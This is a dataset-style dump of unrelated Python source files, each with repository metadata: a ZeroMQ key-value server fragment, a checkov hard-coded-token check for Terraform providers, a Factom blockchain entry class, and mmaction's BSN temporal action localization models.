self.context = zmq.Context()
self.replier = self.context.socket(zmq.REP)
self.replier.bind(data_socket)
self._data_socket = data_socket
self.publisher = self.context.socket(zmq.PUB)
self.publisher.bind(pub_socket)
self._pub_socket = pub_socket
self._last_heartbeat = 0
self._subscriptions = []
self.poller = zmq.Poller()
self.poller.register(self.replier, zmq.POLLIN)
self._data = {}
self._known_hashes = set()
self._known_servers = {self._pub_socket: {'last_seen': time.time()},}
self._actions = {
'EXISTS': self.process_exists,
'GET': self.process_get,
'SAVE': self.process_save,
'DELETE': self.process_delete,
}
def stop(self):
for s in self._subscriptions:
s.close()
self.publisher.close()
self.replier.close()
self.context.term()
def mysegments(self):
myid = self._known_servers.keys().index(self._pub_socket)
#print 'I am {} of {}'.format(myid, len(self._known_servers))
mysegments = [ i%len(self._known_servers) for i in xrange(myid, myid+3)]
#print ' I will be responsible for segments %s' % mysegments
return mysegments
def inmysegments(self, keyhash):
return keyhash % len(self._known_servers) in self.mysegments()
def process_exists(self, key):
if hash(key) in self._data:
return ['OK']
return ['KeyError']
def process_get(self, key):
keyhash = hash(key)
if keyhash not in self._known_hashes:
return ['KeyError']
if keyhash in self._data:
return ['OK', key, self._data[keyhash]]
# TODO: Fetch from other servers
return ['NotFound']
def process_save(self, key, value):
keyhash = hash(key)
## store the known hash
self._known_hashes.add(keyhash)
## if its in one of our segments, store in our data
print "Storing {} (hash: {})? segment {} in our segments {}?".format(
key, keyhash, keyhash % len(self._known_servers), self.mysegments()
)
if self.inmysegments(keyhash):
print "Saving with me!"
self._data[keyhash] = value
## publis the save in every case
self.publisher.send_multipart(['SAVE', str(keyhash), value])
## return a positive
return ['OK', key, value]
def process_delete(self, key):
keyhash = hash(key)
if keyhash in self._data and keyhash in self._known_hashes:
del self._data[keyhash]
self._known_hashes.remove(keyhash)
return ['OK']
return ['KeyError']
def process(self):
now = time.time()
if now - self._last_heartbeat > 1:
#print '%s will send heartbeat' % self._pub_socket
self.publisher.send_multipart(['PING', self._pub_socket] + [str(h) for h in self._known_hashes])
self._last_heartbeat = now
events = self.poller.poll(timeout=1)
for socket, event in events:
#print 'Received something on socket %s' % socket.fd
if socket == self.replier:
msg = self.replier.recv_multipart()
self.logger.debug("Received msg %s", msg)
if msg[0] in self._actions:
ret = self._actions[msg[0]](*msg[1:])
self.replier.send_multipart(ret)
else:
self.replier.send_multipart(['INVALID COMMAND'])
else: # Has to be one of the subscribers
msg = socket.recv_multipart()
if msg[0] == 'PING':
#print "Received a heartbeat from %s" % msg
if msg[1] not in self._known_servers:
self._known_servers[msg[1]] = {}
self._known_servers[msg[1]]['last_seen'] = time.time()
remote_hashes = set(
[ int(s) for s in msg[2:] ]
)
if remote_hashes != self._known_hashes:
self.logger.debug(
'Remotes hashes are different from my own! remote has %s hashes, I have %s.',
len(remote_hashes), len(self._known_hashes)
)
request_hashes = [ str(h) for h in remote_hashes.difference(self._known_hashes)]
while len(request_hashes):
## Limit the number of hashes requested at a time to 100 for now
self.publisher.send_multipart(['SENDHASHES'] + request_hashes[:100])
del request_hashes[:100]
if msg[0] == 'SAVE':
keyhash, value = msg[1:]
if self.inmysegments(int(keyhash)):
self._data[int(keyhash)] = value
self._known_hashes.add(int(keyhash))
if msg[0] == 'SENDHASHES':
for h in msg[1:]:
self.logger.debug("Should send hash %s", h)
if int(h) in self._data:
self.publisher.send_multipart(['SAVE', h, self._data(int(h))])
def subscribeto(self, servers):
if not isinstance(servers, list):
servers = [servers]
for server in servers:
if server != self._pub_socket:
#print 'subscribing to %s' % server
socket = self.context.socket(zmq.SUB)
socket.set(zmq.SUBSCRIBE, 'PING')
socket.set(zmq.SUBSCRIBE, 'SAVE')
socket.set(zmq.SUBSCRIBE, 'SENDHASHES')
socket.connect(server)
self.poller.register(socket, zmq.POLLIN)
self._subscriptions.append(socket)
def known_servers(self):
return self._known_servers
def known_hashes(self):
return self._known_hashes
class ServerThread(threading.Thread):
def __init__(self, *args, **kwargs):
super(ServerThread, self).__init__()
self._mystop = False
self.server = None
self._args = (args, kwargs)
def stop(self):
self._mystop = True
def run(self):
logger = logging.getLogger('ServerThread')
logger.info('starting thread')
self.server = AdhsServer(*self._args[0], **self._args[1])
while not self._mystop:
self.server.process()
self.server.stop()
logger.info('Stopped thread')
| [
"arnold@arnoldarts.de"
] | arnold@arnoldarts.de |
e646e840415066474e090129909b4fa89a674716 | 334d0a4652c44d0c313e11b6dcf8fb89829c6dbe | /checkov/terraform/checks/provider/bridgecrew/credentials.py | fac41da6ae3817889168443670a4b19c7c89d1ea | [
"Apache-2.0"
] | permissive | schosterbarak/checkov | 4131e03b88ae91d82b2fa211f17e370a6f881157 | ea6d697de4de2083c8f6a7aa9ceceffd6b621b58 | refs/heads/master | 2022-05-22T18:12:40.994315 | 2022-04-28T07:44:05 | 2022-04-28T07:59:17 | 233,451,426 | 0 | 0 | Apache-2.0 | 2020-03-23T12:12:23 | 2020-01-12T20:07:15 | Python | UTF-8 | Python | false | false | 1,157 | py | import re
from typing import Dict, List, Any
from checkov.common.models.enums import CheckResult, CheckCategories
from checkov.terraform.checks.provider.base_check import BaseProviderCheck
from checkov.common.models.consts import bridgecrew_token_pattern
class BridgecrewCredentials(BaseProviderCheck):
def __init__(self) -> None:
name = "Ensure no hard coded API token exist in the provider"
id = "CKV_BCW_1"
supported_provider = ["bridgecrew"]
categories = [CheckCategories.SECRETS]
super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider)
def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:
if self.secret_found(conf, "token", bridgecrew_token_pattern):
return CheckResult.FAILED
return CheckResult.PASSED
@staticmethod
def secret_found(conf: Dict[str, List[Any]], field: str, pattern: str) -> bool:
if field in conf.keys():
value = conf[field][0]
if re.match(pattern, value) is not None:
return True
return False
check = BridgecrewCredentials()
| [
"noreply@github.com"
] | noreply@github.com |
22128eaff3d7f60d7da3beedc7df57c7f05695be | 916f1a47f652f5dc60f0a2bf3867f638792c4193 | /factom_core/block_elements/entry.py | fbf2c169b2002911c61da065a6e5ae7e187c1970 | [
"MIT"
] | permissive | sambarnes/factom-core | c66c83eb2cb3586c38df36a10f7f40d3cb9255f3 | 6e99e056bae5fe1c590e1d05e408fb220b86b2a0 | refs/heads/master | 2020-06-15T01:10:55.635213 | 2020-01-13T15:43:14 | 2020-01-13T15:43:14 | 195,172,046 | 7 | 4 | MIT | 2020-06-08T21:53:56 | 2019-07-04T05:05:20 | Python | UTF-8 | Python | false | false | 4,942 | py | import struct
from dataclasses import dataclass
from factom_core.blocks.entry_block import EntryBlock
from hashlib import sha256, sha512
@dataclass
class Entry:
chain_id: bytes
external_ids: list
content: bytes
_cached_entry_hash: bytes = None
directory_block_keymr: bytes = None
entry_block_keymr: bytes = None
height: int = None
timestamp: int = None
stage: str = None
def __post_init__(self):
# TODO: value assertions
pass
# Optional contextual metadata. Derived from the directory block that contains this EntryBlock
@property
def entry_hash(self):
"""The entry hash in bytes. The algorithm used, along with the rationale behind its use, is shown at:
https://github.com/FactomProject/FactomDocs/blob/master/factomDataStructureDetails.md#entry-hash
"""
if self._cached_entry_hash is not None:
return self._cached_entry_hash
# Entry Hash = SHA256(SHA512(marshalled_entry_data) + marshalled_entry_data)
data = self.marshal()
h = sha512(data).digest()
self._cached_entry_hash = sha256(h + data).digest()
return self._cached_entry_hash
def marshal(self):
"""Marshals the entry according to the byte-level representation shown at
https://github.com/FactomProject/FactomDocs/blob/master/factomDataStructureDetails.md#entry
Useful for proofs and constructing entry hashes.
Data returned does not include contextual metadata, such as created_at, entry_block, directory_block, stage,
and other information inferred from where the entry lies in its chain.
"""
buf = bytearray()
buf.append(0x00) # single byte version
buf.extend(self.chain_id)
external_ids_size = 0
ext_id_data = b""
for external_id in self.external_ids:
size = len(external_id)
external_ids_size += size + 2
ext_id_data += struct.pack(">h", size)
ext_id_data += external_id
size = struct.pack(">h", external_ids_size)
buf.extend(size)
buf.extend(ext_id_data)
buf.extend(self.content)
return bytes(buf)
@classmethod
def unmarshal(cls, raw: bytes):
"""Returns a new Entry object, unmarshalling given bytes according to:
https://github.com/FactomProject/FactomDocs/blob/master/factomDataStructureDetails.md#entry
Useful for working with a single entry out of context, pulled directly from a factomd database for instance.
Entry created will not include contextual metadata, such as created_at, entry_block, directory_block, stage, and
other information inferred from where the entry lies in its chain.
"""
data = raw[1:] # skip single byte version, probably just gonna be 0x00 for a long time anyways
chain_id, data = data[:32], data[32:]
external_ids_size, data = struct.unpack(">h", data[:2])[0], data[2:]
external_ids = []
while external_ids_size > 0:
size, data = struct.unpack(">h", data[:2])[0], data[2:]
external_id, data = data[:size], data[size:]
external_ids.append(external_id)
external_ids_size = external_ids_size - size - 2
content = data # Leftovers are the entry content
return Entry(chain_id=chain_id, external_ids=external_ids, content=content)
def add_context(self, entry_block: EntryBlock):
self.directory_block_keymr = entry_block.directory_block_keymr
self.entry_block_keymr = entry_block.keymr
self.height = entry_block.header.height
# Find what minute this entry appeared in within the entry block
base_timestamp = entry_block.timestamp
for minute, entry_hashes in entry_block.entry_hashes.items():
if self.entry_hash in entry_hashes:
self.timestamp = base_timestamp + minute * 60
break
else:
# Entry not found, raise an error
raise ValueError("provided EntryBlock does not contain this entry")
def to_dict(self):
return {
# Required
"chain_id": self.chain_id.hex(),
"entry_hash": self.entry_hash.hex(),
"external_ids": [e.hex() for e in self.external_ids],
"content": self.content.hex(),
# Optional contextual
"directory_block_keymr": None if self.directory_block_keymr is None else self.directory_block_keymr.hex(),
"entry_block_keymr": None if self.entry_block_keymr is None else self.entry_block_keymr.hex(),
"height": self.height,
"timestamp": self.timestamp,
"stage": self.stage,
}
def __str__(self):
return "{}(chain_id={}, entry_hash={})".format(
self.__class__.__name__, self.chain_id.hex(), self.entry_hash.hex()
)
| [
"mistersamuelbarnes@gmail.com"
] | mistersamuelbarnes@gmail.com |
97a6a1c5513c76cbf12f904f40a7662ec5781c10 | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/contrib/cv/video/TSM/mmaction/models/localizers/bsn.py | 1fc25e34f2d18f58ab944770a3fbec26930151c1 | [
"GPL-1.0-or-later",
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"BSD-3-Clause",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 16,887 | py | # Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
from ...localization import temporal_iop
from ..builder import LOCALIZERS, build_loss
from .base import BaseTAPGenerator
from .utils import post_processing
@LOCALIZERS.register_module()
class TEM(BaseTAPGenerator):
"""Temporal Evaluation Model for Boundary Sensitive Network.
Please refer `BSN: Boundary Sensitive Network for Temporal Action
Proposal Generation <http://arxiv.org/abs/1806.02964>`_.
Code reference
https://github.com/wzmsltw/BSN-boundary-sensitive-network
Args:
tem_feat_dim (int): Feature dimension.
tem_hidden_dim (int): Hidden layer dimension.
tem_match_threshold (float): Temporal evaluation match threshold.
loss_cls (dict): Config for building loss.
Default: ``dict(type='BinaryLogisticRegressionLoss')``.
loss_weight (float): Weight term for action_loss. Default: 2.
output_dim (int): Output dimension. Default: 3.
conv1_ratio (float): Ratio of conv1 layer output. Default: 1.0.
conv2_ratio (float): Ratio of conv2 layer output. Default: 1.0.
conv3_ratio (float): Ratio of conv3 layer output. Default: 0.01.
"""
def __init__(self,
temporal_dim,
boundary_ratio,
tem_feat_dim,
tem_hidden_dim,
tem_match_threshold,
loss_cls=dict(type='BinaryLogisticRegressionLoss'),
loss_weight=2,
output_dim=3,
conv1_ratio=1,
conv2_ratio=1,
conv3_ratio=0.01):
super().__init__()
self.temporal_dim = temporal_dim
self.boundary_ratio = boundary_ratio
self.feat_dim = tem_feat_dim
self.c_hidden = tem_hidden_dim
self.match_threshold = tem_match_threshold
self.output_dim = output_dim
self.loss_cls = build_loss(loss_cls)
self.loss_weight = loss_weight
self.conv1_ratio = conv1_ratio
self.conv2_ratio = conv2_ratio
self.conv3_ratio = conv3_ratio
self.conv1 = nn.Conv1d(
in_channels=self.feat_dim,
out_channels=self.c_hidden,
kernel_size=3,
stride=1,
padding=1,
groups=1)
self.conv2 = nn.Conv1d(
in_channels=self.c_hidden,
out_channels=self.c_hidden,
kernel_size=3,
stride=1,
padding=1,
groups=1)
self.conv3 = nn.Conv1d(
in_channels=self.c_hidden,
out_channels=self.output_dim,
kernel_size=1,
stride=1,
padding=0)
self.anchors_tmins, self.anchors_tmaxs = self._temporal_anchors()
def _temporal_anchors(self, tmin_offset=0., tmax_offset=1.):
"""Generate temporal anchors.
Args:
tmin_offset (int): Offset for the minimum value of temporal anchor.
Default: 0.
tmax_offset (int): Offset for the maximun value of temporal anchor.
Default: 1.
Returns:
tuple[Sequence[float]]: The minimum and maximum values of temporal
anchors.
"""
temporal_gap = 1. / self.temporal_dim
anchors_tmins = []
anchors_tmaxs = []
for i in range(self.temporal_dim):
anchors_tmins.append(temporal_gap * (i + tmin_offset))
anchors_tmaxs.append(temporal_gap * (i + tmax_offset))
return anchors_tmins, anchors_tmaxs
def _forward(self, x):
"""Define the computation performed at every call.
Args:
x (torch.Tensor): The input data.
Returns:
torch.Tensor: The output of the module.
"""
x = F.relu(self.conv1_ratio * self.conv1(x))
x = F.relu(self.conv2_ratio * self.conv2(x))
x = torch.sigmoid(self.conv3_ratio * self.conv3(x))
return x
def forward_train(self, raw_feature, label_action, label_start, label_end):
"""Define the computation performed at every call when training."""
tem_output = self._forward(raw_feature)
score_action = tem_output[:, 0, :]
score_start = tem_output[:, 1, :]
score_end = tem_output[:, 2, :]
loss_action = self.loss_cls(score_action, label_action,
self.match_threshold)
loss_start_small = self.loss_cls(score_start, label_start,
self.match_threshold)
loss_end_small = self.loss_cls(score_end, label_end,
self.match_threshold)
loss_dict = {
'loss_action': loss_action * self.loss_weight,
'loss_start': loss_start_small,
'loss_end': loss_end_small
}
return loss_dict
def forward_test(self, raw_feature, video_meta):
"""Define the computation performed at every call when testing."""
tem_output = self._forward(raw_feature).cpu().numpy()
batch_action = tem_output[:, 0, :]
batch_start = tem_output[:, 1, :]
batch_end = tem_output[:, 2, :]
video_meta_list = [dict(x) for x in video_meta]
video_results = []
for batch_idx, _ in enumerate(batch_action):
video_name = video_meta_list[batch_idx]['video_name']
video_action = batch_action[batch_idx]
video_start = batch_start[batch_idx]
video_end = batch_end[batch_idx]
video_result = np.stack((video_action, video_start, video_end,
self.anchors_tmins, self.anchors_tmaxs),
axis=1)
video_results.append((video_name, video_result))
return video_results
def generate_labels(self, gt_bbox):
"""Generate training labels."""
match_score_action_list = []
match_score_start_list = []
match_score_end_list = []
for every_gt_bbox in gt_bbox:
gt_tmins = every_gt_bbox[:, 0].cpu().numpy()
gt_tmaxs = every_gt_bbox[:, 1].cpu().numpy()
gt_lens = gt_tmaxs - gt_tmins
gt_len_pad = np.maximum(1. / self.temporal_dim,
self.boundary_ratio * gt_lens)
gt_start_bboxs = np.stack(
(gt_tmins - gt_len_pad / 2, gt_tmins + gt_len_pad / 2), axis=1)
gt_end_bboxs = np.stack(
(gt_tmaxs - gt_len_pad / 2, gt_tmaxs + gt_len_pad / 2), axis=1)
match_score_action = []
match_score_start = []
match_score_end = []
for anchor_tmin, anchor_tmax in zip(self.anchors_tmins,
self.anchors_tmaxs):
match_score_action.append(
np.max(
temporal_iop(anchor_tmin, anchor_tmax, gt_tmins,
gt_tmaxs)))
match_score_start.append(
np.max(
temporal_iop(anchor_tmin, anchor_tmax,
gt_start_bboxs[:, 0], gt_start_bboxs[:,
1])))
match_score_end.append(
np.max(
temporal_iop(anchor_tmin, anchor_tmax,
gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))
match_score_action_list.append(match_score_action)
match_score_start_list.append(match_score_start)
match_score_end_list.append(match_score_end)
match_score_action_list = torch.Tensor(match_score_action_list)
match_score_start_list = torch.Tensor(match_score_start_list)
match_score_end_list = torch.Tensor(match_score_end_list)
return (match_score_action_list, match_score_start_list,
match_score_end_list)
def forward(self,
raw_feature,
gt_bbox=None,
video_meta=None,
return_loss=True):
"""Define the computation performed at every call."""
if return_loss:
label_action, label_start, label_end = (
self.generate_labels(gt_bbox))
device = raw_feature.device
label_action = label_action.to(device)
label_start = label_start.to(device)
label_end = label_end.to(device)
return self.forward_train(raw_feature, label_action, label_start,
label_end)
return self.forward_test(raw_feature, video_meta)
@LOCALIZERS.register_module()
class PEM(BaseTAPGenerator):
"""Proposals Evaluation Model for Boundary Sensitive Network.
Please refer `BSN: Boundary Sensitive Network for Temporal Action
Proposal Generation <http://arxiv.org/abs/1806.02964>`_.
Code reference
https://github.com/wzmsltw/BSN-boundary-sensitive-network
Args:
pem_feat_dim (int): Feature dimension.
pem_hidden_dim (int): Hidden layer dimension.
pem_u_ratio_m (float): Ratio for medium score proprosals to balance
data.
pem_u_ratio_l (float): Ratio for low score proprosals to balance data.
pem_high_temporal_iou_threshold (float): High IoU threshold.
pem_low_temporal_iou_threshold (float): Low IoU threshold.
soft_nms_alpha (float): Soft NMS alpha.
soft_nms_low_threshold (float): Soft NMS low threshold.
soft_nms_high_threshold (float): Soft NMS high threshold.
post_process_top_k (int): Top k proposals in post process.
feature_extraction_interval (int):
Interval used in feature extraction. Default: 16.
fc1_ratio (float): Ratio for fc1 layer output. Default: 0.1.
fc2_ratio (float): Ratio for fc2 layer output. Default: 0.1.
output_dim (int): Output dimension. Default: 1.
"""
def __init__(self,
pem_feat_dim,
pem_hidden_dim,
pem_u_ratio_m,
pem_u_ratio_l,
pem_high_temporal_iou_threshold,
pem_low_temporal_iou_threshold,
soft_nms_alpha,
soft_nms_low_threshold,
soft_nms_high_threshold,
post_process_top_k,
feature_extraction_interval=16,
fc1_ratio=0.1,
fc2_ratio=0.1,
output_dim=1):
super().__init__()
self.feat_dim = pem_feat_dim
self.hidden_dim = pem_hidden_dim
self.u_ratio_m = pem_u_ratio_m
self.u_ratio_l = pem_u_ratio_l
self.pem_high_temporal_iou_threshold = pem_high_temporal_iou_threshold
self.pem_low_temporal_iou_threshold = pem_low_temporal_iou_threshold
self.soft_nms_alpha = soft_nms_alpha
self.soft_nms_low_threshold = soft_nms_low_threshold
self.soft_nms_high_threshold = soft_nms_high_threshold
self.post_process_top_k = post_process_top_k
self.feature_extraction_interval = feature_extraction_interval
self.fc1_ratio = fc1_ratio
self.fc2_ratio = fc2_ratio
self.output_dim = output_dim
self.fc1 = nn.Linear(
in_features=self.feat_dim, out_features=self.hidden_dim, bias=True)
self.fc2 = nn.Linear(
in_features=self.hidden_dim,
out_features=self.output_dim,
bias=True)
def _forward(self, x):
"""Define the computation performed at every call.
Args:
x (torch.Tensor): The input data.
Returns:
torch.Tensor: The output of the module.
"""
x = torch.cat(list(x))
x = F.relu(self.fc1_ratio * self.fc1(x))
x = torch.sigmoid(self.fc2_ratio * self.fc2(x))
return x
def forward_train(self, bsp_feature, reference_temporal_iou):
"""Define the computation performed at every call when training."""
pem_output = self._forward(bsp_feature)
reference_temporal_iou = torch.cat(list(reference_temporal_iou))
device = pem_output.device
reference_temporal_iou = reference_temporal_iou.to(device)
anchors_temporal_iou = pem_output.view(-1)
u_hmask = (reference_temporal_iou >
self.pem_high_temporal_iou_threshold).float()
u_mmask = (
(reference_temporal_iou <= self.pem_high_temporal_iou_threshold)
& (reference_temporal_iou > self.pem_low_temporal_iou_threshold)
).float()
u_lmask = (reference_temporal_iou <=
self.pem_low_temporal_iou_threshold).float()
num_h = torch.sum(u_hmask)
num_m = torch.sum(u_mmask)
num_l = torch.sum(u_lmask)
r_m = self.u_ratio_m * num_h / (num_m)
r_m = torch.min(r_m, torch.Tensor([1.0]).to(device))[0]
u_smmask = torch.rand(u_hmask.size()[0], device=device)
u_smmask = u_smmask * u_mmask
u_smmask = (u_smmask > (1. - r_m)).float()
r_l = self.u_ratio_l * num_h / (num_l)
r_l = torch.min(r_l, torch.Tensor([1.0]).to(device))[0]
u_slmask = torch.rand(u_hmask.size()[0], device=device)
u_slmask = u_slmask * u_lmask
u_slmask = (u_slmask > (1. - r_l)).float()
temporal_iou_weights = u_hmask + u_smmask + u_slmask
temporal_iou_loss = F.smooth_l1_loss(anchors_temporal_iou,
reference_temporal_iou)
temporal_iou_loss = torch.sum(
temporal_iou_loss *
temporal_iou_weights) / torch.sum(temporal_iou_weights)
loss_dict = dict(temporal_iou_loss=temporal_iou_loss)
return loss_dict
def forward_test(self, bsp_feature, tmin, tmax, tmin_score, tmax_score,
video_meta):
"""Define the computation performed at every call when testing."""
pem_output = self._forward(bsp_feature).view(-1).cpu().numpy().reshape(
-1, 1)
tmin = tmin.view(-1).cpu().numpy().reshape(-1, 1)
tmax = tmax.view(-1).cpu().numpy().reshape(-1, 1)
tmin_score = tmin_score.view(-1).cpu().numpy().reshape(-1, 1)
tmax_score = tmax_score.view(-1).cpu().numpy().reshape(-1, 1)
score = np.array(pem_output * tmin_score * tmax_score).reshape(-1, 1)
result = np.concatenate(
(tmin, tmax, tmin_score, tmax_score, pem_output, score), axis=1)
result = result.reshape(-1, 6)
video_info = dict(video_meta[0])
proposal_list = post_processing(result, video_info,
self.soft_nms_alpha,
self.soft_nms_low_threshold,
self.soft_nms_high_threshold,
self.post_process_top_k,
self.feature_extraction_interval)
output = [
dict(
video_name=video_info['video_name'],
proposal_list=proposal_list)
]
return output
def forward(self,
bsp_feature,
reference_temporal_iou=None,
tmin=None,
tmax=None,
tmin_score=None,
tmax_score=None,
video_meta=None,
return_loss=True):
"""Define the computation performed at every call."""
if return_loss:
return self.forward_train(bsp_feature, reference_temporal_iou)
return self.forward_test(bsp_feature, tmin, tmax, tmin_score,
tmax_score, video_meta)
| [
"wangjiangben@huawei.com"
] | wangjiangben@huawei.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.